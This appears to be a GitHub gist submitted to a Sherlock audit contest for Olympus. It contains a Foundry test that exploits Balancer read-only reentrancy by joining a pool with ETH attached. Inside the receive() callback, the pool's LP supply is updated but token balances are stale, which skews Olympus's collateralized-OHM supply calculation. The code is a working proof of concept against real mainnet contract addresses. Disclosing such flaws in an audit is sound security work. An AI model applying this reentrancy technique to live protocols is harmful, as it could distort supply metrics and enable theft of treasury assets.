Skip to content

Instantly share code, notes, and snippets.

@10xhash
Last active January 10, 2024 03:34
Show Gist options
  • Save 10xhash/86f28f079ab7885dc92d4be0a05c6e23 to your computer and use it in GitHub Desktop.
Save 10xhash/86f28f079ab7885dc92d4be0a05c6e23 to your computer and use it in GitHub Desktop.
2023-11-olympus-balancer_reentrancy

place the file inside bophades/src/test/

run forge test --mt testHash_BalancerReentrancy -vv --fork-url ETH_RPC

The reentrancy allows the balancer pool state to be manipulated ie. manipulated ratio of totalSupply and token balances.
Since the pool state is manipulated, any call to getCollateralizedOhm function of BLVaultSuplly will return manipulated poolOhmShares as shown in the below test.
The COLLATERALIZED_SUPPLY metric and BACKED_SUPPLY metric relies on return values of getCollateralizedOhm().
This will lead to manipulated values for these and it is said by the team that correct supply values are required inorder to perfrom actions of economical importance like exchanging ohm for treasury assets

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.15;
import "forge-std/Test.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {IVault} from "src/libraries/Balancer/interfaces/IVault.sol";
import {IBasePool} from "src/libraries/Balancer/interfaces/IBasePool.sol";
import {IWeightedPool} from "src/libraries/Balancer/interfaces/IWeightedPool.sol";
import {FixedPoint} from "src/libraries/Balancer/math/FixedPoint.sol";
interface MockToken {
function increaseAllowance(address vault, uint amount) external;
function approve(address vault, uint amount) external;
}
struct JoinPoolRequest {
address[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
interface IVaultWithJoin is IVault{
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
}
contract BalancerReentrancyTest is Test {
IVaultWithJoin vault = IVaultWithJoin(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IBasePool pool = IBasePool(0xd4f79CA0Ac83192693bce4699d0c10C66Aa6Cf0F);
uint totalLp;
uint actualPoolOhmShare;
function testHash_BalancerReentrancy() public {
MockToken ohm = MockToken(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
MockToken wsteth = MockToken(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
bytes32 poolId = pool.getPoolId();
(,uint256[] memory balances, ) = vault.getPoolTokens(poolId);
uint totalSupply = pool.totalSupply();
// assume that BLVaultLido has half the total supply of LP tokens
totalLp = totalSupply /2 ;
actualPoolOhmShare = (balances[0] * totalLp) / totalSupply;
// attacker reenters via joinPool, increasing the totalSupply but keeping the token balances the same
// Build join pool request
address[] memory assets = new address[](2);
assets[0] = address(ohm);
assets[1] = address(wsteth);
uint highAmount = type(uint128).max;
deal(address(ohm),address(this),highAmount);
deal(address(wsteth),address(this),highAmount);
uint256[] memory maxAmountsIn = new uint256[](2);
maxAmountsIn[0] = balances[0];
maxAmountsIn[1] = balances[1];
JoinPoolRequest memory joinPoolRequest = JoinPoolRequest({
assets: assets,
maxAmountsIn: maxAmountsIn,
userData: abi.encode(1, maxAmountsIn, 1),
fromInternalBalance: false
});
// Join pool
ohm.increaseAllowance(address(vault), highAmount);
wsteth.approve(address(vault), highAmount);
// send eth along with the call so that balancer vault sends back the eth which allows to call the `getCollateralizedOhm` function in a state when balancer's totalSupply is updated but token balances are not
deal(address(this),1e18);
vault.joinPool{value:1e18}(poolId, address(this), address(this), joinPoolRequest);
}
receive() external payable {
assert(msg.sender == address(vault));
// since the pool state is manipulated, any call to `getCollateralizedOhm` function of BLVaultSuplly will return manipulated poolOhmShares as calculated below.
// the [COLLATERALIZED_SUPPLY](https://github.com/sherlock-audit/2023-11-olympus/blob/9c8df76dc9820b4c6605d2e1e6d87dcfa9e50070/bophades/src/modules/SPPLY/OlympusSupply.sol#L716-L721) metric and [BACKED_SUPPLY](https://github.com/sherlock-audit/2023-11-olympus/blob/9c8df76dc9820b4c6605d2e1e6d87dcfa9e50070/bophades/src/modules/SPPLY/OlympusSupply.sol#L747-L753) metric relies on return values of getCollateralizedOhm()
// this will lead to manipulated values for these and it is said by the team that correct supply values are required inorder to perfrom actions of economical importance like exchanging ohm for treasury assets
// incorrect poolOhmShare calculation
uint256 poolTotalSupply = pool.totalSupply();
(, uint256[] memory balances, ) = vault.getPoolTokens(pool.getPoolId());
// here balances[0] value is same as previous while poolTotalSupply is the updated one with the attackers liquidity added
uint manipulatedPoolOhmShare = (balances[0] * totalLp) / poolTotalSupply;
console.log("actual pool ohm share",actualPoolOhmShare);
console.log("manipulated pool ohm share",manipulatedPoolOhmShare);
// close to 50% of actual
assert(manipulatedPoolOhmShare < actualPoolOhmShare);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment